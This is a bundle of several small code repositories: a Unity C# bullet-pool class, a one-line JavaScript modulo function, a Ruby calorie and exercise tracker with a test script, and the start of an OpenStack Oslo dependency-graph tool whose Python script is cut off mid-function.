<repo_name>JDSankarlal/EnginesIndividualAssignment2<file_sep>/Assets/_Scripts/BulletPoolManager.cs using System.Collections; using System.Collections.Generic; using UnityEngine; // TODO: Bonus - make this class a Singleton! [System.Serializable] public class BulletPoolManager : MonoBehaviour { public GameObject bullet; public int POOL_SIZE; public List<GameObject> poolOfBullets; //TODO: create a structure to contain a collection of bullets // Start is called before the first frame update void Start() { poolOfBullets = new List<GameObject>(); for (int i=0;i<POOL_SIZE;i++) { GameObject obj = (GameObject)Instantiate(bullet); obj.SetActive(false); poolOfBullets.Add(obj); } // TODO: add a series of bullets to the Bullet Pool } // Update is called once per frame void Update() { } //TODO: modify this function to return a bullet from the Pool public GameObject GetBullet() { GameObject firstBullet = poolOfBullets[0]; poolOfBullets.RemoveAt(0); firstBullet.SetActive(true); return firstBullet; } //TODO: modify this function to reset/return a bullet back to the Pool public void ResetBullet(GameObject bullet) { bullet.SetActive(false); poolOfBullets.Add(bullet); } }
d4f193f6f99fa110fe5edcb8d1dd0bceaea273e5
[ "C#" ]
1
C#
JDSankarlal/EnginesIndividualAssignment2
f57f13278d23a86223b13312854018c1ea51ec59
555fe7cbc0234fd65a56d584c20be3784d0ed382
refs/heads/master
<repo_name>nininini123/2017-05-16-03-17-18-1494904638<file_sep>/main/main.js // Write your cade below: module.exports = function main(vara,varb) { return vara%varb; };
e7eb2ebfce17663ea0edfd00190b3667837dcde2
[ "JavaScript" ]
1
JavaScript
nininini123/2017-05-16-03-17-18-1494904638
2a398587e015110caf639b56f834dc286f1a03f3
8628999f6671b0d4e5ad64848dbaaf59e527df1c
refs/heads/master
<repo_name>sportymihir/FoodData<file_sep>/month.rb class Month attr_accessor :calories_per_day, :calorie_goal def initialize(calories_per_day, calorie_goal) @calories_per_day = calories_per_day @calorie_goal = calorie_goal end def change_in_weight() change = (calories_per_day - calorie_goal) * 30 change / 3500 end end<file_sep>/food.rb class Food attr_accessor :name, :portion_size, :calories #attr_accessor :portions_eaten def initialize(name, portion_size, calories) @name = name @portion_size = portion_size @calories = calories end def total_calories(proteins_eaten) proteins_eaten * calories end def to_s "#{name} | #{portion_size} | #{calories}" end end<file_sep>/exercise.rb class Exercise def initialize() @activities = [] end def add_exercise(new_exercise) @activities.push(new_exercise) end def total_calories() total_calories = 0 @activities.each do |activity_item| total_calories += activity_item.calories end total_calories end end<file_sep>/test.rb require './food' require './meal' require './day' require './month' require './exercise' require './activity' scrambled_eggs = Food.new("scrambled_eggs", "1 egg", 100) bacon = Food.new("bacon", "3 Slices", 100) cereal = Food.new("cereal", "1 oz", 135) #puts scrambled_eggs breakfast = Meal.new("breakfast") breakfast.add_food(scrambled_eggs, 3) breakfast.add_food(bacon, 2) breakfast.add_food(Food.new("cereal", "1 oz", 135), 2) puts breakfast puts "Breakfast Calories: #{breakfast.calories}" roast_beef_sandwich = Food.new("Roast Beef Sandwich", "1 sandwich", 345) salad = Food.new("Salad", "1 cup", 11) salad_dressing = Food.new("Salad Dressing", "1 tablespoon", 145) chicken_soup = Food.new("Chicken Soup", "1 cup", 75) sweet_tea = Food.new("Sweet Tea", "8 oz", 100) lunch = Meal.new("Lunch") lunch.add_food(roast_beef_sandwich, 1) lunch.add_food(salad, 2) lunch.add_food(salad_dressing, 3) lunch.add_food(chicken_soup, 1.5) lunch.add_food(sweet_tea, 2) broccoli = Food.new("Broccoli", "1 cup", 40) steak = Food.new("Steak", "5 oz", 240) mashed_potatoes = Food.new("Mashed Potatoes", "1 cup", 255) gravy = Food.new("Gravy", "1 cup", 125) rice = Food.new("Rice", "1 cup", 230) ice_cream = Food.new("Ice Cream", "1 cup", 270) soda = Food.new("soda", "12 oz", 180) dinner = Meal.new("Dinner") dinner.add_food(broccoli, 1) dinner.add_food(steak, 1.6) dinner.add_food(mashed_potatoes, 1.5) dinner.add_food(gravy, 0.25) dinner.add_food(rice, 1) dinner.add_food(ice_cream, 1) dinner.add_food(soda, 1) chips = Food.new("Chips", "10 chips", 100) fruit_snacks = Food.new("Fruit Snacks", "1 bag", 89) trail_mix = Food.new("Trail Mix", "1 cup", 693) snacks = Meal.new("Snacks") snacks.add_food(chips, 3) snacks.add_food(fruit_snacks, 1) snacks.add_food(trail_mix, 0.2) day1 = Day.new(2000) day1.add_meal(breakfast) day1.add_meal(lunch) day1.add_meal(dinner) day1.add_meal(snacks) month1 = Month.new(day1.calories, 2000) puts "Did he reach his total calorie goal?" puts day1.calories puts day1.met_goal? puts "Weight Change in a month" puts month1.change_in_weight jogging = Activity.new("Jogging", 300, 0.5) yoga = Activity.new("Yoga", 240, 1.0/3) weightlifting = Activity.new("Weightlifting", 266, 0.75) exercise1 = Exercise.new() exercise1.add_exercise(jogging) exercise1.add_exercise(yoga) exercise1.add_exercise(weightlifting) calorie_goal = exercise1.total_calories + 2000 day2 = Day.new(calorie_goal) day2.add_meal(breakfast) day2.add_meal(lunch) day2.add_meal(dinner) day2.add_meal(snacks) month2 = Month.new(day2.calories, calorie_goal) puts "Titanic Dan's total calorie goal with exercise is #{calorie_goal}" puts "Did Titanic Dan meet his total goal with exercise?" day2_met_goal = day2.met_goal? puts day2_met_goal puts "Weight Change in a month with exercise is" puts month2.change_in_weight <file_sep>/activity.rb class Activity attr_accessor :name, :calories_per_hour, :hours def initialize(name, calories_per_hour, hours) @name = name @calories_per_hour = calories_per_hour @hours = hours end def calories() calories_per_hour * hours end end<file_sep>/day.rb class Day attr_accessor :meals, :calorie_goal def initialize(calorie_goal) @calorie_goal = calorie_goal @meals = [] end def add_meal(new_meal) meals.push(new_meal) end def calories() total_calories = 0 meals.each do |meal| total_calories += meal.calories end total_calories end def met_goal? calories() <= calorie_goal end end
abbbaa9c0f91e7c5b10617ec04913183629d7a63
[ "Ruby" ]
6
Ruby
sportymihir/FoodData
dc748f261d7eafa1fa9632a88a92cab3cd282c8b
b4a4da3ae8a0f8cf04378114b15b746852b1dbb8
refs/heads/master
<repo_name>dctacademy/hello-dct-weekday-oct-2019<file_sep>/PravinGoswami.js console.log("I am a Fullstack developer & designer")<file_sep>/PravinIronman.js console.log("Iron Man is the most fanous Superhero in the marvel")<file_sep>/rachCatwoman.js function CatWoman(){ return 'Gotham is going to die' }<file_sep>/harish-arrow.js console.log("you have failed this city")<file_sep>/priyanka.js // run git remote -v // add,commit,push function add(a,b){ return a+b }<file_sep>/snehab.js console.log('Sneha B')
3091113ed3c6ffcd70cc35162476bd6472272ec2
[ "JavaScript" ]
6
JavaScript
dctacademy/hello-dct-weekday-oct-2019
a3fdf34dfcdcede06b346f053b2bce76dec88499
43a71dc000dea55f7ed8c128601ed93b43537d2b
refs/heads/master
<repo_name>Zhidunov/first-nodejs-server<file_sep>/src/app.js const express = require("express"); const app = express(); app.use((req, res, next) => { res.header("Access-Control-Allow-Origin", "*"); res.header("Access-Control-Allow-Methods", "GET,PUT,POST,DELETE"); res.header("Access-Control-Allow-Headers", "Content-Type"); next(); }); let hardRes = { users: [ { id: 1, avatarURL: "https://previews.123rf.com/images/studiostoks/studiostoks1708/studiostoks170800016/84215159-surprise-woman-pop-art-avatar-character-icon.jpg", followed: true, name: "Дмитрий", status: "I-m the frontend developer", location: { country: "Russia", city: "Sochi" } }, { id: 2, avatarURL: "https://fiverr-res.cloudinary.com/images/t_main1,q_auto,f_auto/gigs/21514027/original/bf55eef1cfc1ba545ac9153cedebf61abe38af8a/create-your-pop-art-avatar-from-your-image.jpg", followed: false, name: "Алексей", status: "I-m the backend developer", location: { country: "Russia", city: "Saint-Petersburg" } }, { id: 3, avatarURL: "https://previews.123rf.com/images/studiostoks/studiostoks1707/studiostoks170700393/83085765-avatar-portrait-of-a-man-straightens-his-tie-pop-art-retro-vector-illustration.jpg", followed: true, name: "Сергей", status: "I-m the fullstack developer", location: { country: "Germany", city: "Berlin" } }, { id: 4, avatarURL: "https://previews.123rf.com/images/studiostoks/studiostoks1708/studiostoks170800016/84215159-surprise-woman-pop-art-avatar-character-icon.jpg", followed: true, name: "Дмитрий", status: "I-m the frontend developer", location: { country: "Russia", city: "Sochi" } }, { id: 5, avatarURL: "https://fiverr-res.cloudinary.com/images/t_main1,q_auto,f_auto/gigs/21514027/original/bf55eef1cfc1ba545ac9153cedebf61abe38af8a/create-your-pop-art-avatar-from-your-image.jpg", followed: false, name: "Алексей", status: "I-m the backend developer", location: { country: "Russia", city: "Saint-Petersburg" } }, { id: 6, avatarURL: "https://previews.123rf.com/images/studiostoks/studiostoks1707/studiostoks170700393/83085765-avatar-portrait-of-a-man-straightens-his-tie-pop-art-retro-vector-illustration.jpg", followed: true, name: "Сергей", status: "I-m the fullstack developer", location: { country: "Germany", city: "Berlin" } }, { id: 7, avatarURL: "https://previews.123rf.com/images/studiostoks/studiostoks1708/studiostoks170800016/84215159-surprise-woman-pop-art-avatar-character-icon.jpg", followed: true, name: "Дмитрий", status: "I-m the frontend developer", location: { country: "Russia", city: "Sochi" } }, { id: 8, avatarURL: "https://fiverr-res.cloudinary.com/images/t_main1,q_auto,f_auto/gigs/21514027/original/bf55eef1cfc1ba545ac9153cedebf61abe38af8a/create-your-pop-art-avatar-from-your-image.jpg", followed: false, name: "Алексей", status: "I-m the backend developer", location: { country: "Russia", city: "Saint-Petersburg" } }, { id: 9, avatarURL: "https://previews.123rf.com/images/studiostoks/studiostoks1707/studiostoks170700393/83085765-avatar-portrait-of-a-man-straightens-his-tie-pop-art-retro-vector-illustration.jpg", followed: true, name: "Сергей", status: "I-m the fullstack developer", location: { country: "Germany", city: "Berlin" } }, { id: 10, avatarURL: "https://previews.123rf.com/images/studiostoks/studiostoks1708/studiostoks170800016/84215159-surprise-woman-pop-art-avatar-character-icon.jpg", followed: true, name: "Дмитрий", status: "I-m the frontend developer", location: { country: "Russia", city: "Sochi" } }, { id: 11, avatarURL: "https://fiverr-res.cloudinary.com/images/t_main1,q_auto,f_auto/gigs/21514027/original/bf55eef1cfc1ba545ac9153cedebf61abe38af8a/create-your-pop-art-avatar-from-your-image.jpg", followed: false, name: "Алексей", status: "I-m the backend developer", location: { country: "Russia", city: "Saint-Petersburg" } }, { id: 12, avatarURL: "https://previews.123rf.com/images/studiostoks/studiostoks1707/studiostoks170700393/83085765-avatar-portrait-of-a-man-straightens-his-tie-pop-art-retro-vector-illustration.jpg", followed: true, name: "Сергей", status: "I-m the fullstack developer", location: { country: "Germany", city: "Berlin" } } ], totalCount: 12, error: null }; const port = process.env.PORT || 80; app.get("/users", (req, res) => { const page = req.query.page; const count = req.query.count; const startIndex = (page - 1) * count; const endIndex = page * count; const users = hardRes.users.slice(startIndex, endIndex); res.json({ ...hardRes, users }); }); app.get("/profile/:id", (req, res) => { const id = req.params.id; const user = hardRes.users[id - 1]; res.json(user); }); app.get("/profile/status/:id", (req, res) => { const id = req.params.id; const status = hardRes.users[id - 1].status; res.json(status); }); app.put("/profile/status/:id", (req, res) => { const id = req.params.id; hardRes.users[id - 1].status = req.body.status; res.json({ resultCode: 0, messages: [], data: {} }); }); app.listen(port, () => { console.log(`Server has been started on ${port}...`); }); <file_sep>/README.md This is my first node.js app. It's simple API. Link on heroku: https://powerful-sands-35843.herokuapp.com API description will be added later.
499b549eafda243b0fbe658dd9471649cb141db9
[ "JavaScript", "Markdown" ]
2
JavaScript
Zhidunov/first-nodejs-server
453866e0574858fbbeb4afbf515e13b31e15ce80
ea0e83ca85b04a1bb5773d099913000adc2ffa0d
refs/heads/master
<repo_name>TheKingdomDev/NETCRUD<file_sep>/Models/netcrudContext.cs using Microsoft.EntityFrameworkCore; namespace NetCrud.Models { public class NetCrudContext : DbContext { public MvcMovieContext (DbContextOptions<NetCrudContext> options) : base(options) { } public DbSet<netcrud.Models.Snippet> Snippet { get; set; } } }<file_sep>/Models/SnippetModel.cs using System; namespace NetCrud.Models { public class Snippet { public int ID { get; set; } public string Title { get; set; } public DateTime ReleaseDate { get; set; } public string Snippet { get; set; } } }
740a9fc8c60c1efc27cc24ba4188010351d058d8
[ "C#" ]
2
C#
TheKingdomDev/NETCRUD
941cc754605b9fb26b2114cb77e70370e7b8f634
765d67f35abbfbd01afdb43efaa59a0af0762178
refs/heads/master
<repo_name>billyjf/CRUDUsers<file_sep>/settings.gradle rootProject.name = 'CRUDUsers' <file_sep>/src/main/java/com/billyjf/resources/UserResource.java package com.billyjf.resources; import com.billyjf.api.User; import com.codahale.metrics.annotation.Timed; import javax.ws.rs.Consumes; import javax.ws.rs.DELETE; import javax.ws.rs.GET; import javax.ws.rs.POST; import javax.ws.rs.PUT; import javax.ws.rs.Path; import javax.ws.rs.PathParam; import javax.ws.rs.Produces; import javax.ws.rs.core.MediaType; import javax.ws.rs.core.Response; import java.util.List; import java.util.Optional; import java.util.concurrent.atomic.AtomicInteger; import static javax.ws.rs.core.Response.Status; import static javax.ws.rs.core.Response.status; @Path("/") @Produces(MediaType.APPLICATION_JSON) public class UserResource { private final List<User> users; private final AtomicInteger idCounter = new AtomicInteger(2); public UserResource(List<User> users) { this.users = users; } @GET @Path("/users") @Timed public List<User> listUsers() { return users; } @POST @Path("/users") @Consumes({MediaType.APPLICATION_JSON}) @Timed public Response createUser(User user) { final User prospectiveUser = new User(idCounter.incrementAndGet(), user.getFirst(), user.getLast(), user.getZip(), user.getEmail()); Response response = status(Status.OK).build(); if(users.stream().noneMatch(u -> u.equals(prospectiveUser))) users.add(prospectiveUser); else response = status(Status.CONFLICT).build(); return response; } @GET @Path("/users/{id}") @Timed public Object getUser(@PathParam("id") long id) { final Optional<User> first = users.stream().filter(u -> u.getId() == id).findFirst(); if(first.isPresent()) return first.get(); else return status(Status.NOT_FOUND).build(); } @PUT @Path("/users/{id}") @Consumes({MediaType.APPLICATION_JSON}) @Timed public Response updateUser(@PathParam("id") long id, User user) { final Optional<User> firstMatch = users.stream().filter(u -> u.getId() == id).findFirst(); Response response; if(firstMatch.isPresent()) { final User oldUser = firstMatch.get(); final User prospectiveUser = new User(oldUser.getId(), user.getFirst(), user.getLast(), user.getZip(), user.getEmail()); if(users.stream().noneMatch(u -> u.equals(prospectiveUser))) { users.remove(oldUser); users.add(prospectiveUser); response = status(Status.NO_CONTENT).build(); } else response = status(Status.CONFLICT).build(); } else response = status(Status.NOT_FOUND).build(); return response; } @DELETE @Path("/users/{id}") @Timed public Response deleteUser(@PathParam("id") long id) { Response response = status(Status.NO_CONTENT).build(); Optional<User> userToDelete = users.stream().filter(u -> u.getId() == id).findFirst(); if(userToDelete.isPresent()) users.remove(userToDelete.get()); else response = status(Status.NOT_FOUND).build(); return response; } } <file_sep>/src/test/java/com/billyjf/UserResourceTest.java package com.billyjf; import com.billyjf.api.User; import com.billyjf.resources.UserResource; import org.junit.Test; import javax.ws.rs.core.Response; import java.util.ArrayList; import java.util.List; import static javax.ws.rs.core.Response.Status; import static org.junit.Assert.assertEquals; public class UserResourceTest { private User billy = new User(1, "Billy", "Fisher", "97078", "<EMAIL>"); private User janTheMan = new User(2, "Jan", "Spooner", "12345", "<EMAIL>"); private UserResource userResource; public UserResourceTest() { List<User> users = new ArrayList<User>(); users.add(billy); userResource = new UserResource(users); } @Test public void listUsers() { assertEquals(List.of(billy), userResource.listUsers()); } @Test public void createUser() { userResource.createUser(janTheMan); assertEquals(janTheMan, userResource.listUsers().get(1)); } @Test public void createUserReturnsConflictOnDuplicate() { userResource.createUser(janTheMan); assertEquals(Status.CONFLICT.getStatusCode(), userResource.createUser(janTheMan).getStatus()); } @Test public void getUser() { User user = (User)userResource.getUser(1); assertEquals(billy, user); } @Test public void getUserThatDoesNotExist() { Response response = (Response)userResource.getUser(2); assertEquals(Status.NOT_FOUND.getStatusCode(), response.getStatus()); } @Test public void updateUserThatExists() { assertEquals(billy, userResource.getUser(1)); Response response = userResource.updateUser(1, janTheMan); assertEquals(janTheMan, userResource.getUser(1)); assertEquals(Status.NO_CONTENT.getStatusCode(), response.getStatus()); } @Test public void updateUserThatDoesNotExist() { final Response unknownUserResponse = (Response)userResource.getUser(2); assertEquals(Status.NOT_FOUND.getStatusCode(), unknownUserResponse.getStatus()); Response updateResponse = userResource.updateUser(2, billy); assertEquals(Status.NOT_FOUND.getStatusCode(), updateResponse.getStatus()); } @Test public void updateUserThatWouldCauseDuplicate() { Response updateResponse = userResource.updateUser(1, billy); assertEquals(Status.CONFLICT.getStatusCode(), updateResponse.getStatus()); } @Test public void deleteUser() { Response response = userResource.deleteUser(1); assertEquals(0, userResource.listUsers().stream().filter(u -> u.getId() == 1).count()); assertEquals(Status.NO_CONTENT.getStatusCode(), response.getStatus()); } @Test public void deleteUserThatDoesNotExist() { Response response = userResource.deleteUser(2); assertEquals(Status.NOT_FOUND.getStatusCode(), response.getStatus()); } } <file_sep>/src/main/java/com/billyjf/CRUDUsersConfiguration.java package com.billyjf; import com.billyjf.api.User; import com.fasterxml.jackson.annotation.JsonProperty; import io.dropwizard.Configuration; import javax.validation.constraints.NotEmpty; import java.util.List; public class CRUDUsersConfiguration extends Configuration { @NotEmpty private List<User> users; @JsonProperty public List<User> getUsers() { return users; } @JsonProperty public void setUsers(List<User> users) { this.users = users; } } <file_sep>/build.gradle plugins { id 'java' id 'jacoco' id "com.github.johnrengelman.shadow" version "5.2.0" } version '1.0' sourceCompatibility = 1.9 repositories { mavenCentral() maven { name 'Shadow' url 'http://dl.bintray.com/content/johnrengelman/gradle-plugins' } } dependencies { final String dropWizardVersion = '2.0.0' compile "io.dropwizard:dropwizard-core:${dropWizardVersion}" compile "io.dropwizard:dropwizard-json-logging:${dropWizardVersion}" testCompile group: 'junit', name: 'junit', version: '4.12' } jar { manifest { attributes( 'Main-Class': 'com.billyjf.CRUDUsersApplication' ) } } shadowJar { mergeServiceFiles() exclude 'META-INF/*.DSA' exclude 'META-INF/*.RSA' } build.dependsOn shadowJar<file_sep>/README.md [![Build Status](https://www.travis-ci.com/billyjf/CRUDUsers.svg?branch=master)](https://www.travis-ci.com/billyjf/CRUDUsers) # CRUDUsers Sample built on https://www.dropwizard.io/ and tested on JDK 12 and Gradle 5.2.1. Users deserialized from `server.yml` and maintained in memory. * ✅ UserResource allows clients to ✅ create, ✅ read, ✅ update, ✅ delete or ✅ list users. * ✅ A list of maps is used to track users by their ids. * ✅ Structured logging has been configured for the `console`. * ✅ Routes are `@Timed` using Dropwizard codahale metric annotations. * ✅ Write unit tests for the service. * ✅ A code coverage report is generated by Jacoco at `build/reports/jacoco/test/html/index.html`. * ✅ The user JSON includes id, first name, last name, zip code, and email address and is immutable. ## Building `./gradlew build` ## Starting `java -jar build/libs/CRUDUsers-1.0-all.jar server server.yml` ## Testing ### Unit `./gradlew test jacocoTestReport` ### API #### List ``` $ curl localhost:8080/users 2>/dev/null | jq . [ { "id": 1, "first": "Billy", "last": "Fisher", "zip": "97078", "email": "<EMAIL>" }, { "id": 2, "first": "Stacey", "last": "Wright", "zip": "11029", "email": "<EMAIL>" } ] ``` #### Create ``` $ curl --request POST --header 'Content-Type: application/json' --data "$(cat unique_user.json)" -i 2>/dev/null localhost:8080/users | head -n 1 HTTP/1.1 200 OK $ curl --request POST --header 'Content-Type: application/json' --data "$(cat unique_user.json)" -i 2>/dev/null localhost:8080/users | head -n 1 HTTP/1.1 409 Conflict ``` #### Read ``` $ curl localhost:8080/users/1 2>/dev/null | jq . { "id": 1, "first": "Billy", "last": "Fisher", "zip": "97078", "email": "<EMAIL>" } $ curl localhost:8080/users/3 -i 2>/dev/null | head -n 1 HTTP/1.1 404 Not Found ``` #### Update ``` $ curl localhost:8080/users/2 2>/dev/null | jq . { "id": 2, "first": "Stacey", "last": "Wright", "zip": "11029", "email": "<EMAIL>" } $ curl --request PUT --header 'Content-Type: application/json' --data "$(cat new_user.json)" localhost:8080/users/2 -i 2>/dev/null | head -n 1 HTTP/1.1 409 Conflict $ curl --request PUT --header 'Content-Type: application/json' --data "$(cat unique_user.json)" localhost:8080/users/2 -i 2>/dev/null | head -n 1 HTTP/1.1 204 No Content $ curl localhost:8080/users/2 2>/dev/null | jq . { "id": 2, "first": "Stefani", "last": "Germanotta", "zip": "97221", "email": "<EMAIL>" } ``` #### Delete ``` $ curl --request DELETE localhost:8080/users/2 -i 2>/dev/null | head -n 1 HTTP/1.1 204 No Content $ curl --request DELETE localhost:8080/users/2 -i 2>/dev/null | head -n 1 HTTP/1.1 404 Not Found ``` ### Health ``` $ curl http://localhost:8081/healthcheck 2>/dev/null | jq . { "deadlocks": { "healthy": true, "duration": 0, "timestamp": "2019-12-26T16:05:22.852-08:00" }, "dependency1": { "healthy": true, "duration": 0, "timestamp": "2019-12-26T16:05:22.852-08:00" } } ```
f18c108bd995efb0822dc97edfe3379f9878d68d
[ "Markdown", "Java", "Gradle" ]
6
Gradle
billyjf/CRUDUsers
a8e460c6195c66d147fe88e272f3cc993d5a0b82
10ab65393b16893095c124e8bfb31effdc437976
refs/heads/master
<repo_name>agustinmesas/react-scaffold<file_sep>/src/store/moduleName/services.js import axios from 'axios'; export const getAPI = params => axios.get(`url/${params}`); <file_sep>/src/components/Example/index.jsx import React from 'react'; const ExampleComponent = () => <h1>Component</h1>; export default ExampleComponent; <file_sep>/README.md # React Scaffold ### Libraries - react-router - styled-components - axios - redux-sagas - reselect - jest - enzyme ## How to use Use [yarn](https://yarnpkg.com/lang/en/) to install dependencies. ```bash yarn install yarn start ``` <file_sep>/src/views/Home/main.jsx import React from 'react'; import logo from '../../assets/react-logo.svg'; import { Container } from './styled'; const Home = () => ( <Container> <img src={logo} alt="scaffold logo" /> <h1>React Scaffold</h1> <p>by <NAME></p> </Container> ); export default Home;
5440ddef8a7e3bf3f9cc5723e05c9832fe9c5800
[ "JavaScript", "Markdown" ]
4
JavaScript
agustinmesas/react-scaffold
0a05577b1efc9ed288fef76383d7103d0224de84
a90d98fb0845da966de6db3d6f2eccaec921a9d4
refs/heads/master
<file_sep>import torch import torch.nn as nn import torch.nn.functional as F import numpy as np class Net(nn.Module): def __init__(self,cf): super(Net, self).__init__() self.conv1 = nn.Conv2d(1, cf['conv1'], kernel_size=5) self.conv2 = nn.Conv2d(cf['conv1'], cf['conv2'], kernel_size=5) self.conv2_drop = nn.Dropout2d(cf['keep_prob']) L = np.floor((np.floor((28-5)/2+1)-5)/2+1)**2*cf['conv2'] self.fc1 = nn.Linear(int(L), cf['fc1']) self.fc2 = nn.Linear(cf['fc1'], 10) self.init_weights() def forward(self, x): x = F.relu(F.max_pool2d(self.conv1(x), 2)) x = F.relu(F.max_pool2d(self.conv2_drop(self.conv2(x)), 2)) x = x.view(-1, 320) x = F.relu(self.fc1(x)) x = F.dropout(x, training=self.training) x = self.fc2(x) return F.log_softmax(x) def init_weights(self): # follow http://jmlr.org/proceedings/papers/v9/glorot10a/glorot10a.pdf for m in self.children(): if isinstance(m,nn.Linear): size = m.weight.size() fan_in = size[1] # number of columns scale = np.sqrt(2.0 / (fan_in)) m.weight.data.uniform_(-scale, scale) m.bias.data.uniform_(-scale, scale) elif isinstance(m,nn.Conv2d): size = m.weight.size() fan_in = size[2]*size[3] scale = np.sqrt(2.0 / (fan_in)) m.weight.data.uniform_(-scale, scale) m.bias.data.uniform_(-scale, scale) return <file_sep># Semi supervised learning with self ensembling This repo implements the self ensembling technique in PyTorch. The code spans only 80 lines and about 50 lines of helper code. I wouldn't use the code in production, but it illustrates the concept. [Here](https://arxiv.org/abs/1610.02242) is the paper. # Quick summary Self emsembling trains neural networks on partially labelled data. For some training batch, we run the network twice with different [dropouts](https://arxiv.org/pdf/1207.0580.pdf). On all samples, we penalize the squared difference between the predictions from both networks. On the labelled data, we also penalize the negative log likelihood of the labels. This technique beats other semi-supervised learners on the [CIFAR](https://www.cs.toronto.edu/~kriz/cifar.html) and [SVHN](http://ufldl.stanford.edu/housenumbers/) datasets. # What is semi-supervised learning (SSL)? In semi supervised learning we use both labelled and unlabelled data. In many problems, we have data in abundance. Yet, it cost much time/effort/money to obtain labels. For example: * __Chest xrays__ We can have lots of scans in a database, but is cost much money to pay a radiologists labelling them. * __Computer vision__ We can scrape Google Images and get a huge dataset of images, but it costs effort to set up AMT and have people label them * __NLP__ We have many records of open books, emails and Twitter feed, but it cost mush effort to have people label the sentiment # What links SSL and neural networks? Neural networks learn feature representations. (Also named [distributed representations](http://www.nature.com/nature/journal/v521/n7553/full/nature14539.html), latent representations or hidden representations) This representations could be learned on both labelled and unlabelled data. With labelled data, we could think of the hidden neurons in a convolutional neural network. With unlabelled data, we could think of, for example, word vectors. # Examples of SSL techniques Self ensembling is not the first SSL technique. Other notable attempts: * [__Auto encoders__](https://arxiv.org/abs/1406.5298) Auto encoders learn to encode and decode data onto itself. Usually we obtain feature representations from a bottleneck between the encoder and decoder. In SSL, we train the auto encoder on all data. Secondly, we train a small classifier for the labelled data, using the feature representations as input. (You can use a variational auto encoder too) * [__Ladder networks__](https://arxiv.org/abs/1507.02672) Ladder networks extend the auto encoder to multiple levels. People visualize auto encoders as an up-side-down diagram. Ladder networks stack many such auto encoders. You can visualize it as a ladder. * [__Generative adversarial networks__](https://arxiv.org/abs/1606.03498) GAN's play a mini-max game. The generator learns to generate fake images; the discriminator learns to discriminate between fake and real images. In SSL, we view the discriminator as an extended classifier. Say you classify the 10 [MNIST](http://yann.lecun.com/exdb/mnist/) digits. The GAN discriminator would classify 11 classes: the 10 MNIST classes and the 11th class representing a fake. Personally, I like the self ensembler for its simplicity. In auto encoders, we train a decoder without using it; in ladder networks, we train multiple decoders without using them; and for GAN's, we train a generator without using it. Moreover, the reseach community still works on stable algorithms to train GAN's. In that perspective, self ensembling trains only a single network. So in the engineering, we need to monitor only one piece of code. # The code The code consists of three scripts * ```main.py``` initializes data and the network * ```model.py``` contains the PyTorch module for a convnet * ```dataloader.py``` provides some sample functions for the MNIST data As always, I am curious to any comments and questions. Reach me at <EMAIL><file_sep>import torch import torch.nn as nn import torch.nn.functional as F import torch.optim as optim from torch.autograd import Variable import numpy as np from model import Net import dataloader mnist = dataloader.read_data_sets("MNIST_data",norm=True) cuda = True and torch.cuda.is_available() bsz = 64 bsz_test = 100 epochs = 10 lr= 0.01 momentum = 0.5 seed = 1111 log_interval = 100 keep_prob = 0.8 cf = {'keep_prob' :0.7, 'conv1' :10, 'conv2' :20, 'fc1' :50} torch.manual_seed(seed) if cuda: torch.cuda.manual_seed(seed) mnist.cuda = cuda mnist.bsz = bsz data, targets = mnist.sample() model = Net(cf) if cuda: model.cuda() optimizer = optim.SGD(model.parameters(), lr=lr, momentum=momentum) self_ensemble_penalizer = nn.MSELoss() batches = 0 def ramp_up(): """Decay/ramp up function for the scaling of self_ensemble loss.""" global batches batches += 1 final = 1500. if batches < final: p = batches/final return float(np.exp(-5.*(p - 1) ** 2)) else: if batches == final: print('Finished schedule for ramping up the lambda') return 1.0 def loss_calc(*,z1, z2, target): """Calculates the combined loss for semi-supervised learning. Note that on the validation set we calcalate only the nll_loss""" loss = F.nll_loss(z1[:5], target[:5]) z2 = z2.detach() self_ensemble = self_ensemble_penalizer(z1,z2) loss += 0.05*ramp_up()*self_ensemble return loss def train(epoch): """Train one epoch, which consists of a fixed number of batches""" model.train() for batch_idx in range(800): data, target = mnist.sample() optimizer.zero_grad() output1 = model(data) output2 = model(data) loss = loss_calc(z1=output1,z2=output2,target=target) loss.backward() optimizer.step() if batch_idx % log_interval == 0: print('Train Epoch: %3i [%6i/%6i (%.0f)] \tLoss: %.6f'%(epoch, batch_idx , 100, 100. * batch_idx / 100, loss.data[0])) def test(epoch): """Test bsz_test number of batches from the validation set. Note that we calculate the normal nll_loss. The self_ensemble cost is not taken into account here""" model.eval() test_loss = 0 correct = 0 for k in range(bsz_test): data, target = mnist.sample(dataset='val') data.volatile = True output = model(data) test_loss += F.nll_loss(output, target).data[0] pred = output.data.max(1)[1] # get the index of the max log-probability correct += pred.eq(target.data).cpu().sum() acc = correct/(bsz_test*bsz) test_loss /= bsz_test # loss function already averages over batch size print('\nTest set: Average loss: {:.4f}, Accuracy: {}/{} ({:.0f}%)\n'.format( test_loss, correct, bsz_test*bsz, 100. * acc)) if __name__ == '__main__': try: for epoch in range(1, epochs + 1): train(epoch) test(epoch) except KeyboardInterrupt: #Except on keyboard interrupt so we can end training prematurely print('Finish training')
a49e7e4bcfcdabfcc035d5592b3adc7681cd146f
[ "Markdown", "Python" ]
3
Python
shubhampachori12110095/ssl
5a2ae63a0b4d21f1ddc54e5da194d12aa2585c96
0e9f72408666c12fe57dd9febf00d85390bfde16
refs/heads/master
<file_sep>======================= Oslo Dependency Graph ======================= This repository contains some tools for working out the dependencies between various libraries, being managed under the OpenStack Oslo program. The status.txt document comes from (and should be synced with) https://wiki.openstack.org/wiki/Oslo/GraduationStatus The graphing tools rely on having the graphviz toolkit from http://www.graphviz.org/Documentation.php installed. Run ``./make_image.sh`` and revel in the pretty PNGs. <file_sep>#!/usr/bin/env python """Produce a dependency graph in the DOT language. """ import collections import itertools import fileinput def get_deps_by_module(infile): library_name = None dependencies = {} libraries = {} for n, line in enumerate(fileinput.input(infile)): if line.startswith('== '): # New lib library_name = line.strip().strip('=').strip() libraries[library_name] = [] module_name = None elif line.startswith('=== '): # New module module_name = line.strip().strip('=').strip() libraries[library_name].append(module_name) dependencies[module_name] = [] elif line.startswith(':Depends on:'): # Dependencies if not module_name: raise ValueError('found dependencies on line %d without a module' % n) depstr = line.rpartition(':')[-1].strip() if depstr != '(none)': deps = [d.strip() for d in depstr.split(',')] dependencies[module_name] = deps return libraries, dependencies _node_namer = iter('N%d' % i for i in itertools.count()) _node_names = collections.defaultdict(_node_namer.next) _known_nodes = set() def generate_node(label, shape='oval'): if label not in _known_nodes: print ' %s [ label = "%s", shape=%s ];' % (_node_names[label], label, shape) _known_nodes.add(label) def print_graph(libraries, dependencies): # Invert the library contents so we can link # to the library instead of its contents mods_to_lib = {} for name, modules in sorted(libraries.items()): for 